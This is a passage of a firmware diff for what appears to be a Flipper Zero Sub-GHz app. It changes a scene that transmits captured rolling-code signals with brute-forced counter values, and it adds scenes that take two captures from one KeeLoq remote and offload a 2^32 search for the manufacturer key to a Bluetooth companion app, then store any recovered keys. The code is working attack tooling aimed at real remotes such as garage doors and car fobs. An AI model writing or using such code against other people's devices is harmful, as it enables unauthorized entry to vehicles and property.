subghz->widget, 0, 0, AlignLeft, AlignTop, FontSecondary,
|
||||
furi_string_get_cstr(str));
|
||||
subghz->widget, 0, 0, AlignLeft, AlignTop, FontSecondary, furi_string_get_cstr(str));
|
||||
furi_string_free(str);
|
||||
const char* btn_label = ctx->state == CounterBfStateRunning ? "Stop" : "Start";
|
||||
widget_add_button_element(
|
||||
subghz->widget, GuiButtonTypeCenter, btn_label,
|
||||
counter_bf_widget_callback, subghz);
|
||||
subghz->widget,
|
||||
GuiButtonTypeCenter,
|
||||
btn_label,
|
||||
counter_bf_widget_callback,
|
||||
subghz);
|
||||
}
|
||||
|
||||
static void counter_bf_save(SubGhz* subghz, CounterBfContext* ctx) {
|
||||
Storage* storage = furi_record_open(RECORD_STORAGE);
|
||||
FlipperFormat* file_fff = flipper_format_buffered_file_alloc(storage);
|
||||
if(flipper_format_buffered_file_open_existing(
|
||||
file_fff, furi_string_get_cstr(subghz->file_path))) {
|
||||
uint32_t cnt = ctx->current_cnt & 0xFFFFFF;
|
||||
if(!flipper_format_update_uint32(file_fff, "Cnt", &cnt, 1)) {
|
||||
FURI_LOG_E(TAG, "Failed to update Cnt in .sub file");
|
||||
}
|
||||
} else {
|
||||
FURI_LOG_E(TAG, "Failed to open .sub file for Cnt write");
|
||||
}
|
||||
flipper_format_free(file_fff);
|
||||
furi_record_close(RECORD_STORAGE);
|
||||
}
|
||||
|
||||
static void counter_bf_send(SubGhz* subghz, CounterBfContext* ctx) {
|
||||
// Stop any previous TX
|
||||
subghz_txrx_stop(subghz->txrx);
|
||||
|
||||
// Use official counter override mechanism
|
||||
subghz_block_generic_global_counter_override_set(ctx->current_cnt);
|
||||
// Increase repeat for stronger signal
|
||||
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
|
||||
flipper_format_rewind(fff);
|
||||
uint32_t repeat = 20;
|
||||
flipper_format_insert_or_update_uint32(fff, "Repeat", &repeat, 1);
|
||||
uint32_t delta = (ctx->current_cnt - ctx->start_cnt) & 0xFFFFFF;
|
||||
furi_hal_subghz_set_rolling_counter_mult((int32_t)delta);
|
||||
subghz_block_generic_global_counter_override_set(ctx->current_cnt & 0xFFFFFF);
|
||||
|
||||
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
|
||||
uint32_t repeat = 20;
|
||||
flipper_format_rewind(fff);
|
||||
flipper_format_update_uint32(fff, "Repeat", &repeat, 1);
|
||||
|
||||
subghz_block_generic_global.endless_tx = false;
|
||||
subghz_tx_start(subghz, fff);
|
||||
|
||||
ctx->packets_sent++;
|
||||
@@ -78,26 +122,38 @@ void subghz_scene_counter_bf_on_enter(void* context) {
|
||||
|
||||
CounterBfContext* ctx = malloc(sizeof(CounterBfContext));
|
||||
memset(ctx, 0, sizeof(CounterBfContext));
|
||||
ctx->state = CounterBfStateIdle;
|
||||
ctx->state = CounterBfStateWarning;
|
||||
ctx->step = 1;
|
||||
furi_hal_subghz_set_rolling_counter_mult(0);
|
||||
subghz_key_load(subghz, furi_string_get_cstr(subghz->file_path), false);
|
||||
|
||||
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
|
||||
uint32_t cnt = 0;
|
||||
flipper_format_rewind(fff);
|
||||
flipper_format_read_uint32(fff, "Cnt", &cnt, 1);
|
||||
ctx->current_cnt = cnt;
|
||||
ctx->start_cnt = cnt;
|
||||
{
|
||||
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
|
||||
flipper_format_rewind(fff);
|
||||
uint32_t cnt = 0;
|
||||
if(flipper_format_read_uint32(fff, "Cnt", &cnt, 1)) {
|
||||
ctx->current_cnt = cnt & 0xFFFFFF;
|
||||
ctx->start_cnt = cnt & 0xFFFFFF;
|
||||
} else {
|
||||
FURI_LOG_W(TAG, "Cnt not in fff after key_load, reading from disk");
|
||||
Storage* storage = furi_record_open(RECORD_STORAGE);
|
||||
FlipperFormat* file_fff = flipper_format_buffered_file_alloc(storage);
|
||||
if(flipper_format_buffered_file_open_existing(
|
||||
file_fff, furi_string_get_cstr(subghz->file_path))) {
|
||||
if(flipper_format_read_uint32(file_fff, "Cnt", &cnt, 1)) {
|
||||
ctx->current_cnt = cnt & 0xFFFFFF;
|
||||
ctx->start_cnt = cnt & 0xFFFFFF;
|
||||
}
|
||||
}
|
||||
flipper_format_free(file_fff);
|
||||
furi_record_close(RECORD_STORAGE);
|
||||
}
|
||||
}
|
||||
|
||||
scene_manager_set_scene_state(
|
||||
subghz->scene_manager, SubGhzSceneCounterBf, (uint32_t)(uintptr_t)ctx);
|
||||
|
||||
// Disable auto-increment
|
||||
furi_hal_subghz_set_rolling_counter_mult(0);
|
||||
|
||||
// Reload protocol to ensure preset and tx_power are properly configured
|
||||
subghz_key_load(subghz, furi_string_get_cstr(subghz->file_path), false);
|
||||
|
||||
counter_bf_draw(subghz, ctx);
|
||||
counter_bf_draw_warning(subghz);
|
||||
view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdWidget);
|
||||
}
|
||||
|
||||
@@ -108,18 +164,25 @@ bool subghz_scene_counter_bf_on_event(void* context, SceneManagerEvent event) {
|
||||
if(!ctx) return false;
|
||||
|
||||
if(event.type == SceneManagerEventTypeCustom) {
|
||||
if(event.event == CounterBfEventWarningOk) {
|
||||
ctx->state = CounterBfStateIdle;
|
||||
counter_bf_draw(subghz, ctx);
|
||||
return true;
|
||||
}
|
||||
|
||||
if(event.event == CounterBfEventStart) {
|
||||
if(ctx->state == CounterBfStateWarning) return true;
|
||||
|
||||
if(ctx->state != CounterBfStateRunning) {
|
||||
// Start
|
||||
ctx->state = CounterBfStateRunning;
|
||||
ctx->tick_wait = 0;
|
||||
subghz->state_notifications = SubGhzNotificationStateTx;
|
||||
counter_bf_send(subghz, ctx);
|
||||
} else {
|
||||
// Stop
|
||||
ctx->state = CounterBfStateStopped;
|
||||
subghz_txrx_stop(subghz->txrx);
|
||||
subghz->state_notifications = SubGhzNotificationStateIDLE;
|
||||
counter_bf_save(subghz, ctx);
|
||||
}
|
||||
counter_bf_draw(subghz, ctx);
|
||||
return true;
|
||||
@@ -130,25 +193,24 @@ bool subghz_scene_counter_bf_on_event(void* context, SceneManagerEvent event) {
|
||||
if(ctx->tick_wait > 0) {
|
||||
ctx->tick_wait--;
|
||||
} else {
|
||||
// Time to send next packet
|
||||
ctx->current_cnt += ctx->step;
|
||||
ctx->current_cnt = (ctx->current_cnt + ctx->step) & 0xFFFFFF;
|
||||
counter_bf_send(subghz, ctx);
|
||||
counter_bf_save(subghz, ctx);
|
||||
counter_bf_draw(subghz, ctx);
|
||||
}
|
||||
}
|
||||
return true;
|
||||
} else if(event.type == SceneManagerEventTypeBack) {
|
||||
subghz_block_generic_global.endless_tx = false;
|
||||
if(ctx->state == CounterBfStateWarning) {
|
||||
furi_hal_subghz_set_rolling_counter_mult(1);
|
||||
free(ctx);
|
||||
scene_manager_previous_scene(subghz->scene_manager);
|
||||
return true;
|
||||
}
|
||||
|
||||
subghz_txrx_stop(subghz->txrx);
|
||||
subghz->state_notifications = SubGhzNotificationStateIDLE;
|
||||
|
||||
// Save counter to file
|
||||
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
|
||||
flipper_format_rewind(fff);
|
||||
flipper_format_update_uint32(fff, "Cnt", &ctx->current_cnt, 1);
|
||||
subghz_save_protocol_to_file(
|
||||
subghz, fff, furi_string_get_cstr(subghz->file_path));
|
||||
|
||||
counter_bf_save(subghz, ctx);
|
||||
furi_hal_subghz_set_rolling_counter_mult(1);
|
||||
free(ctx);
|
||||
scene_manager_previous_scene(subghz->scene_manager);
|
||||
@@ -160,6 +222,5 @@ bool subghz_scene_counter_bf_on_event(void* context, SceneManagerEvent event) {
|
||||
void subghz_scene_counter_bf_on_exit(void* context) {
|
||||
SubGhz* subghz = context;
|
||||
widget_reset(subghz->widget);
|
||||
subghz_block_generic_global.endless_tx = false;
|
||||
subghz->state_notifications = SubGhzNotificationStateIDLE;
|
||||
}
|
||||
|
||||
253
applications/main/subghz/scenes/subghz_scene_keeloq_bf2.c
Normal file
253
applications/main/subghz/scenes/subghz_scene_keeloq_bf2.c
Normal file
@@ -0,0 +1,253 @@
|
||||
#include "../subghz_i.h"
|
||||
#include <lib/subghz/protocols/keeloq.h>
|
||||
#include <dialogs/dialogs.h>
|
||||
|
||||
enum {
|
||||
KlBf2IndexLoadSig1,
|
||||
KlBf2IndexLoadSig2,
|
||||
KlBf2IndexType,
|
||||
KlBf2IndexStartBf,
|
||||
};
|
||||
|
||||
static const char* kl_bf2_type_labels[] = {
|
||||
"Type: Auto (6>7>8)",
|
||||
"Type: 6 (Serial 1)",
|
||||
"Type: 7 (Serial 2)",
|
||||
"Type: 8 (Serial 3)",
|
||||
};
|
||||
static const uint8_t kl_bf2_type_values[] = {0, 6, 7, 8};
|
||||
|
||||
static bool kl_bf2_extract_key(SubGhz* subghz, uint32_t* out_fix, uint32_t* out_hop) {
|
||||
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
|
||||
flipper_format_rewind(fff);
|
||||
uint8_t key_data[8] = {0};
|
||||
if(!flipper_format_read_hex(fff, "Key", key_data, 8)) return false;
|
||||
*out_fix = ((uint32_t)key_data[0] << 24) | ((uint32_t)key_data[1] << 16) |
|
||||
((uint32_t)key_data[2] << 8) | key_data[3];
|
||||
*out_hop = ((uint32_t)key_data[4] << 24) | ((uint32_t)key_data[5] << 16) |
|
||||
((uint32_t)key_data[6] << 8) | key_data[7];
|
||||
return true;
|
||||
}
|
||||
|
||||
static bool kl_bf2_is_keeloq(SubGhz* subghz) {
|
||||
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
|
||||
flipper_format_rewind(fff);
|
||||
FuriString* proto = furi_string_alloc();
|
||||
bool ok = flipper_format_read_string(fff, "Protocol", proto) &&
|
||||
furi_string_equal_str(proto, "KeeLoq");
|
||||
furi_string_free(proto);
|
||||
return ok;
|
||||
}
|
||||
|
||||
static void kl_bf2_submenu_callback(void* context, uint32_t index) {
|
||||
SubGhz* subghz = context;
|
||||
view_dispatcher_send_custom_event(subghz->view_dispatcher, index);
|
||||
}
|
||||
|
||||
static bool kl_bf2_load_signal(SubGhz* subghz, FuriString* out_path) {
|
||||
DialogsFileBrowserOptions browser_options;
|
||||
dialog_file_browser_set_basic_options(
|
||||
&browser_options, SUBGHZ_APP_FILENAME_EXTENSION, &I_sub1_10px);
|
||||
browser_options.base_path = SUBGHZ_APP_FOLDER;
|
||||
|
||||
FuriString* selected = furi_string_alloc();
|
||||
furi_string_set(selected, SUBGHZ_APP_FOLDER);
|
||||
|
||||
bool res = dialog_file_browser_show(subghz->dialogs, selected, selected, &browser_options);
|
||||
|
||||
if(res) {
|
||||
res = subghz_key_load(subghz, furi_string_get_cstr(selected), true);
|
||||
if(res) {
|
||||
furi_string_set(out_path, selected);
|
||||
}
|
||||
}
|
||||
|
||||
furi_string_free(selected);
|
||||
return res;
|
||||
}
|
||||
|
||||
static void kl_bf2_rebuild_menu(SubGhz* subghz) {
|
||||
submenu_reset(subghz->submenu);
|
||||
|
||||
char label1[64];
|
||||
char label2[64];
|
||||
|
||||
if(subghz->keeloq_bf2.sig1_loaded) {
|
||||
FuriString* name = furi_string_alloc();
|
||||
path_extract_filename(subghz->keeloq_bf2.sig1_path, name, true);
|
||||
snprintf(label1, sizeof(label1), "Sig 1: %s", furi_string_get_cstr(name));
|
||||
furi_string_free(name);
|
||||
} else {
|
||||
snprintf(label1, sizeof(label1), "Load Signal 1");
|
||||
}
|
||||
|
||||
if(subghz->keeloq_bf2.sig2_loaded) {
|
||||
FuriString* name = furi_string_alloc();
|
||||
path_extract_filename(subghz->keeloq_bf2.sig2_path, name, true);
|
||||
snprintf(label2, sizeof(label2), "Sig 2: %s", furi_string_get_cstr(name));
|
||||
furi_string_free(name);
|
||||
} else {
|
||||
snprintf(label2, sizeof(label2), "Load Signal 2");
|
||||
}
|
||||
|
||||
submenu_add_item(
|
||||
subghz->submenu, label1, KlBf2IndexLoadSig1,
|
||||
kl_bf2_submenu_callback, subghz);
|
||||
submenu_add_item(
|
||||
subghz->submenu, label2, KlBf2IndexLoadSig2,
|
||||
kl_bf2_submenu_callback, subghz);
|
||||
|
||||
int type_idx = 0;
|
||||
for(int i = 0; i < 4; i++) {
|
||||
if(kl_bf2_type_values[i] == subghz->keeloq_bf2.learn_type) {
|
||||
type_idx = i;
|
||||
break;
|
||||
}
|
||||
}
|
||||
submenu_add_item(
|
||||
subghz->submenu, kl_bf2_type_labels[type_idx], KlBf2IndexType,
|
||||
kl_bf2_submenu_callback, subghz);
|
||||
|
||||
if(subghz->keeloq_bf2.sig1_loaded && subghz->keeloq_bf2.sig2_loaded) {
|
||||
submenu_add_item(
|
||||
subghz->submenu, "Start BF", KlBf2IndexStartBf,
|
||||
kl_bf2_submenu_callback, subghz);
|
||||
}
|
||||
|
||||
view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdMenu);
|
||||
}
|
||||
|
||||
void subghz_scene_keeloq_bf2_on_enter(void* context) {
|
||||
SubGhz* subghz = context;
|
||||
|
||||
subghz->keeloq_bf2.sig1_loaded = false;
|
||||
subghz->keeloq_bf2.sig2_loaded = false;
|
||||
subghz->keeloq_bf2.learn_type = 0;
|
||||
|
||||
kl_bf2_rebuild_menu(subghz);
|
||||
}
|
||||
|
||||
bool subghz_scene_keeloq_bf2_on_event(void* context, SceneManagerEvent event) {
|
||||
SubGhz* subghz = context;
|
||||
|
||||
if(event.type == SceneManagerEventTypeCustom) {
|
||||
if(event.event == KlBf2IndexLoadSig1) {
|
||||
FuriString* path = furi_string_alloc();
|
||||
if(kl_bf2_load_signal(subghz, path)) {
|
||||
if(!kl_bf2_is_keeloq(subghz)) {
|
||||
dialog_message_show_storage_error(
|
||||
subghz->dialogs, "Not a KeeLoq\nprotocol file");
|
||||
furi_string_free(path);
|
||||
kl_bf2_rebuild_menu(subghz);
|
||||
return true;
|
||||
}
|
||||
|
||||
uint32_t fix, hop;
|
||||
if(!kl_bf2_extract_key(subghz, &fix, &hop)) {
|
||||
dialog_message_show_storage_error(
|
||||
subghz->dialogs, "Cannot read Key\nfrom file");
|
||||
furi_string_free(path);
|
||||
kl_bf2_rebuild_menu(subghz);
|
||||
return true;
|
||||
}
|
||||
|
||||
subghz->keeloq_bf2.fix = fix;
|
||||
subghz->keeloq_bf2.hop1 = hop;
|
||||
subghz->keeloq_bf2.serial = fix & 0x0FFFFFFF;
|
||||
subghz->keeloq_bf2.sig1_loaded = true;
|
||||
furi_string_set(subghz->keeloq_bf2.sig1_path, path);
|
||||
|
||||
subghz->keeloq_bf2.sig2_loaded = false;
|
||||
}
|
||||
furi_string_free(path);
|
||||
kl_bf2_rebuild_menu(subghz);
|
||||
return true;
|
||||
|
||||
} else if(event.event == KlBf2IndexLoadSig2) {
|
||||
if(!subghz->keeloq_bf2.sig1_loaded) {
|
||||
dialog_message_show_storage_error(
|
||||
subghz->dialogs, "Load Signal 1 first");
|
||||
kl_bf2_rebuild_menu(subghz);
|
||||
return true;
|
||||
}
|
||||
|
||||
FuriString* path = furi_string_alloc();
|
||||
if(kl_bf2_load_signal(subghz, path)) {
|
||||
if(!kl_bf2_is_keeloq(subghz)) {
|
||||
dialog_message_show_storage_error(
|
||||
subghz->dialogs, "Not a KeeLoq\nprotocol file");
|
||||
furi_string_free(path);
|
||||
kl_bf2_rebuild_menu(subghz);
|
||||
return true;
|
||||
}
|
||||
|
||||
uint32_t fix2, hop2;
|
||||
if(!kl_bf2_extract_key(subghz, &fix2, &hop2)) {
|
||||
dialog_message_show_storage_error(
|
||||
subghz->dialogs, "Cannot read Key\nfrom file");
|
||||
furi_string_free(path);
|
||||
kl_bf2_rebuild_menu(subghz);
|
||||
return true;
|
||||
}
|
||||
|
||||
uint32_t serial2 = fix2 & 0x0FFFFFFF;
|
||||
if(serial2 != subghz->keeloq_bf2.serial) {
|
||||
dialog_message_show_storage_error(
|
||||
subghz->dialogs, "Serial mismatch!\nMust be same remote");
|
||||
furi_string_free(path);
|
||||
kl_bf2_rebuild_menu(subghz);
|
||||
return true;
|
||||
}
|
||||
|
||||
if(hop2 == subghz->keeloq_bf2.hop1) {
|
||||
dialog_message_show_storage_error(
|
||||
subghz->dialogs, "Same hop code!\nUse a different\ncapture");
|
||||
furi_string_free(path);
|
||||
kl_bf2_rebuild_menu(subghz);
|
||||
return true;
|
||||
}
|
||||
|
||||
subghz->keeloq_bf2.hop2 = hop2;
|
||||
subghz->keeloq_bf2.sig2_loaded = true;
|
||||
furi_string_set(subghz->keeloq_bf2.sig2_path, path);
|
||||
}
|
||||
furi_string_free(path);
|
||||
kl_bf2_rebuild_menu(subghz);
|
||||
return true;
|
||||
|
||||
} else if(event.event == KlBf2IndexType) {
|
||||
uint8_t cur = subghz->keeloq_bf2.learn_type;
|
||||
if(cur == 0) cur = 6;
|
||||
else if(cur == 6) cur = 7;
|
||||
else if(cur == 7) cur = 8;
|
||||
else cur = 0;
|
||||
subghz->keeloq_bf2.learn_type = cur;
|
||||
kl_bf2_rebuild_menu(subghz);
|
||||
return true;
|
||||
|
||||
} else if(event.event == KlBf2IndexStartBf) {
|
||||
if(!subghz->keeloq_bf2.sig1_loaded || !subghz->keeloq_bf2.sig2_loaded) {
|
||||
return true;
|
||||
}
|
||||
|
||||
if(!subghz_key_load(
|
||||
subghz,
|
||||
furi_string_get_cstr(subghz->keeloq_bf2.sig1_path),
|
||||
true)) {
|
||||
dialog_message_show_storage_error(
|
||||
subghz->dialogs, "Cannot reload\nSignal 1");
|
||||
kl_bf2_rebuild_menu(subghz);
|
||||
return true;
|
||||
}
|
||||
|
||||
scene_manager_next_scene(subghz->scene_manager, SubGhzSceneKeeloqDecrypt);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
void subghz_scene_keeloq_bf2_on_exit(void* context) {
|
||||
SubGhz* subghz = context;
|
||||
submenu_reset(subghz->submenu);
|
||||
}
|
||||
284
applications/main/subghz/scenes/subghz_scene_keeloq_decrypt.c
Normal file
284
applications/main/subghz/scenes/subghz_scene_keeloq_decrypt.c
Normal file
@@ -0,0 +1,284 @@
|
||||
#include "../subghz_i.h"
|
||||
#include "../helpers/subghz_txrx_i.h"
|
||||
#include <lib/subghz/protocols/keeloq.h>
|
||||
#include <lib/subghz/protocols/keeloq_common.h>
|
||||
#include <lib/subghz/environment.h>
|
||||
#include <lib/subghz/subghz_keystore.h>
|
||||
#include <furi.h>
|
||||
#include <bt/bt_service/bt.h>
|
||||
|
||||
#define KL_DECRYPT_EVENT_DONE (0xD2)
|
||||
#define KL_DECRYPT_EVENT_CANDIDATE (0xD3)
|
||||
#define KL_TOTAL_KEYS 0x100000000ULL
|
||||
|
||||
#define KL_MSG_BF_REQUEST 0x10
|
||||
#define KL_MSG_BF_PROGRESS 0x11
|
||||
#define KL_MSG_BF_RESULT 0x12
|
||||
#define KL_MSG_BF_CANCEL 0x13
|
||||
|
||||
typedef struct {
|
||||
SubGhz* subghz;
|
||||
volatile bool cancel;
|
||||
uint32_t start_tick;
|
||||
bool success;
|
||||
FuriString* result;
|
||||
|
||||
uint32_t fix;
|
||||
uint32_t hop;
|
||||
uint32_t serial;
|
||||
uint8_t btn;
|
||||
uint16_t disc;
|
||||
|
||||
uint32_t hop2;
|
||||
|
||||
uint32_t candidate_count;
|
||||
uint64_t recovered_mfkey;
|
||||
uint16_t recovered_type;
|
||||
uint32_t recovered_cnt;
|
||||
|
||||
bool ble_offload;
|
||||
} KlDecryptCtx;
|
||||
|
||||
static void kl_ble_data_received(uint8_t* data, uint16_t size, void* context) {
|
||||
KlDecryptCtx* ctx = context;
|
||||
if(size < 1 || ctx->cancel) return;
|
||||
|
||||
if(data[0] == KL_MSG_BF_PROGRESS && size >= 10) {
|
||||
uint32_t keys_tested, keys_per_sec;
|
||||
memcpy(&keys_tested, data + 2, 4);
|
||||
memcpy(&keys_per_sec, data + 6, 4);
|
||||
|
||||
uint32_t elapsed_sec = (furi_get_tick() - ctx->start_tick) / 1000;
|
||||
uint32_t remaining = (keys_tested > 0) ? (0xFFFFFFFFU - keys_tested) : 0xFFFFFFFFU;
|
||||
uint32_t eta_sec = (keys_per_sec > 0) ? (remaining / keys_per_sec) : 0;
|
||||
uint8_t pct = (uint8_t)((uint64_t)keys_tested * 100 / 0xFFFFFFFFULL);
|
||||
|
||||
subghz_view_keeloq_decrypt_update_stats(
|
||||
ctx->subghz->subghz_keeloq_decrypt, pct, keys_tested, keys_per_sec, elapsed_sec, eta_sec);
|
||||
|
||||
} else if(data[0] == KL_MSG_BF_RESULT && size >= 26) {
|
||||
uint8_t found = data[1];
|
||||
|
||||
if(found == 1) {
|
||||
uint64_t mfkey = 0;
|
||||
uint32_t cnt = 0;
|
||||
memcpy(&mfkey, data + 2, 8);
|
||||
memcpy(&cnt, data + 18, 4);
|
||||
uint16_t learn_type = (size >= 27) ? data[26] : 6;
|
||||
|
||||
ctx->candidate_count++;
|
||||
ctx->recovered_mfkey = mfkey;
|
||||
ctx->recovered_type = learn_type;
|
||||
ctx->recovered_cnt = cnt;
|
||||
|
||||
subghz_view_keeloq_decrypt_update_candidates(
|
||||
ctx->subghz->subghz_keeloq_decrypt, ctx->candidate_count);
|
||||
|
||||
view_dispatcher_send_custom_event(
|
||||
ctx->subghz->view_dispatcher, KL_DECRYPT_EVENT_CANDIDATE);
|
||||
|
||||
} else if(found == 2) {
|
||||
ctx->success = (ctx->candidate_count > 0);
|
||||
view_dispatcher_send_custom_event(
|
||||
ctx->subghz->view_dispatcher, KL_DECRYPT_EVENT_DONE);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static void kl_ble_cleanup(KlDecryptCtx* ctx) {
|
||||
if(!ctx->ble_offload) return;
|
||||
Bt* bt = furi_record_open(RECORD_BT);
|
||||
bt_set_custom_data_callback(bt, NULL, NULL);
|
||||
furi_record_close(RECORD_BT);
|
||||
ctx->ble_offload = false;
|
||||
}
|
||||
|
||||
static bool kl_ble_start_offload(KlDecryptCtx* ctx) {
|
||||
Bt* bt = furi_record_open(RECORD_BT);
|
||||
if(!bt_is_connected(bt)) {
|
||||
furi_record_close(RECORD_BT);
|
||||
return false;
|
||||
}
|
||||
|
||||
bt_set_custom_data_callback(bt, kl_ble_data_received, ctx);
|
||||
|
||||
uint8_t req[18];
|
||||
req[0] = KL_MSG_BF_REQUEST;
|
||||
req[1] = ctx->subghz->keeloq_bf2.learn_type;
|
||||
memcpy(req + 2, &ctx->fix, 4);
|
||||
memcpy(req + 6, &ctx->hop, 4);
|
||||
memcpy(req + 10, &ctx->hop2, 4);
|
||||
memcpy(req + 14, &ctx->serial, 4);
|
||||
bt_custom_data_tx(bt, req, sizeof(req));
|
||||
|
||||
furi_record_close(RECORD_BT);
|
||||
ctx->ble_offload = true;
|
||||
|
||||
subghz_view_keeloq_decrypt_set_status(
|
||||
ctx->subghz->subghz_keeloq_decrypt, "[BT] Offloading...");
|
||||
return true;
|
||||
}
|
||||
|
||||
static void kl_decrypt_view_callback(SubGhzCustomEvent event, void* context) {
|
||||
SubGhz* subghz = context;
|
||||
view_dispatcher_send_custom_event(subghz->view_dispatcher, event);
|
||||
}
|
||||
|
||||
void subghz_scene_keeloq_decrypt_on_enter(void* context) {
|
||||
SubGhz* subghz = context;
|
||||
|
||||
KlDecryptCtx* ctx = malloc(sizeof(KlDecryptCtx));
|
||||
memset(ctx, 0, sizeof(KlDecryptCtx));
|
||||
ctx->subghz = subghz;
|
||||
ctx->result = furi_string_alloc_set("No result");
|
||||
|
||||
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
|
||||
flipper_format_rewind(fff);
|
||||
|
||||
uint8_t key_data[8] = {0};
|
||||
if(flipper_format_read_hex(fff, "Key", key_data, 8)) {
|
||||
ctx->fix = ((uint32_t)key_data[0] << 24) | ((uint32_t)key_data[1] << 16) |
|
||||
((uint32_t)key_data[2] << 8) | key_data[3];
|
||||
ctx->hop = ((uint32_t)key_data[4] << 24) | ((uint32_t)key_data[5] << 16) |
|
||||
((uint32_t)key_data[6] << 8) | key_data[7];
|
||||
}
|
||||
|
||||
ctx->serial = ctx->fix & 0x0FFFFFFF;
|
||||
ctx->btn = ctx->fix >> 28;
|
||||
ctx->disc = ctx->serial & 0x3FF;
|
||||
ctx->hop2 = subghz->keeloq_bf2.sig2_loaded ? subghz->keeloq_bf2.hop2 : 0;
|
||||
|
||||
scene_manager_set_scene_state(
|
||||
subghz->scene_manager, SubGhzSceneKeeloqDecrypt, (uint32_t)(uintptr_t)ctx);
|
||||
|
||||
subghz_view_keeloq_decrypt_reset(subghz->subghz_keeloq_decrypt);
|
||||
subghz_view_keeloq_decrypt_set_callback(
|
||||
subghz->subghz_keeloq_decrypt, kl_decrypt_view_callback, subghz);
|
||||
|
||||
view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdKeeloqDecrypt);
|
||||
|
||||
ctx->start_tick = furi_get_tick();
|
||||
|
||||
if(!kl_ble_start_offload(ctx)) {
|
||||
char msg[128];
|
||||
snprintf(msg, sizeof(msg),
|
||||
"No BLE connection!\n"
|
||||
"Connect companion app\n"
|
||||
"and try again.\n\n"
|
||||
"Fix:0x%08lX\nHop:0x%08lX",
|
||||
ctx->fix, ctx->hop);
|
||||
subghz_view_keeloq_decrypt_set_result(
|
||||
subghz->subghz_keeloq_decrypt, false, msg);
|
||||
}
|
||||
}
|
||||
|
||||
bool subghz_scene_keeloq_decrypt_on_event(void* context, SceneManagerEvent event) {
|
||||
SubGhz* subghz = context;
|
||||
KlDecryptCtx* ctx = (KlDecryptCtx*)(uintptr_t)scene_manager_get_scene_state(
|
||||
subghz->scene_manager, SubGhzSceneKeeloqDecrypt);
|
||||
if(!ctx) return false;
|
||||
|
||||
if(event.type == SceneManagerEventTypeCustom) {
|
||||
if(event.event == KL_DECRYPT_EVENT_CANDIDATE) {
|
||||
if(!subghz->keeloq_keys_manager) {
|
||||
subghz->keeloq_keys_manager = subghz_keeloq_keys_alloc();
|
||||
}
|
||||
char key_name[24];
|
||||
snprintf(key_name, sizeof(key_name), "BF_%07lX", ctx->serial);
|
||||
subghz_keeloq_keys_add(
|
||||
subghz->keeloq_keys_manager,
|
||||
ctx->recovered_mfkey,
|
||||
ctx->recovered_type,
|
||||
key_name);
|
||||
subghz_keeloq_keys_save(subghz->keeloq_keys_manager);
|
||||
|
||||
SubGhzKeystore* env_ks = subghz_environment_get_keystore(
|
||||
subghz->txrx->environment);
|
||||
SubGhzKeyArray_t* env_arr = subghz_keystore_get_data(env_ks);
|
||||
SubGhzKey* entry = SubGhzKeyArray_push_raw(*env_arr);
|
||||
entry->name = furi_string_alloc_set(key_name);
|
||||
entry->key = ctx->recovered_mfkey;
|
||||
entry->type = ctx->recovered_type;
|
||||
return true;
|
||||
|
||||
} else if(event.event == KL_DECRYPT_EVENT_DONE) {
|
||||
kl_ble_cleanup(ctx);
|
||||
subghz->keeloq_bf2.sig1_loaded = false;
|
||||
subghz->keeloq_bf2.sig2_loaded = false;
|
||||
|
||||
if(ctx->success) {
|
||||
furi_string_printf(
|
||||
ctx->result,
|
||||
"Found %lu candidate(s)\n"
|
||||
"Last: %08lX%08lX\n"
|
||||
"Type:%u Cnt:%04lX\n"
|
||||
"Saved to user keys",
|
||||
ctx->candidate_count,
|
||||
(uint32_t)(ctx->recovered_mfkey >> 32),
|
||||
(uint32_t)(ctx->recovered_mfkey & 0xFFFFFFFF),
|
||||
ctx->recovered_type,
|
||||
ctx->recovered_cnt);
|
||||
|
||||
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
|
||||
flipper_format_rewind(fff);
|
||||
|
||||
char mf_str[20];
|
||||
snprintf(mf_str, sizeof(mf_str), "BF_%07lX", ctx->serial);
|
||||
flipper_format_insert_or_update_string_cstr(fff, "Manufacture", mf_str);
|
||||
|
||||
uint32_t cnt_val = ctx->recovered_cnt;
|
||||
flipper_format_rewind(fff);
|
||||
flipper_format_insert_or_update_uint32(fff, "Cnt", &cnt_val, 1);
|
||||
|
||||
if(ctx->hop2 != 0) {
|
||||
flipper_format_rewind(fff);
|
||||
flipper_format_insert_or_update_uint32(fff, "Hop2", &ctx->hop2, 1);
|
||||
}
|
||||
|
||||
if(subghz_path_is_file(subghz->file_path)) {
|
||||
subghz_save_protocol_to_file(
|
||||
subghz,
|
||||
subghz_txrx_get_fff_data(subghz->txrx),
|
||||
furi_string_get_cstr(subghz->file_path));
|
||||
}
|
||||
|
||||
subghz_view_keeloq_decrypt_set_result(
|
||||
subghz->subghz_keeloq_decrypt, true, furi_string_get_cstr(ctx->result));
|
||||
} else if(!ctx->cancel) {
|
||||
subghz_view_keeloq_decrypt_set_result(
|
||||
subghz->subghz_keeloq_decrypt, false,
|
||||
"Key NOT found.\nNo matching key in\n2^32 search space.");
|
||||
} else {
|
||||
subghz_view_keeloq_decrypt_set_result(
|
||||
subghz->subghz_keeloq_decrypt, false, "Cancelled.");
|
||||
}
|
||||
return true;
|
||||
|
||||
} else if(event.event == SubGhzCustomEventViewTransmitterBack) {
|
||||
if(ctx->ble_offload) {
|
||||
Bt* bt = furi_record_open(RECORD_BT);
|
||||
uint8_t cancel_msg = KL_MSG_BF_CANCEL;
|
||||
bt_custom_data_tx(bt, &cancel_msg, 1);
|
||||
furi_record_close(RECORD_BT);
|
||||
}
|
||||
ctx->cancel = true;
|
||||
scene_manager_previous_scene(subghz->scene_manager);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
void subghz_scene_keeloq_decrypt_on_exit(void* context) {
|
||||
SubGhz* subghz = context;
|
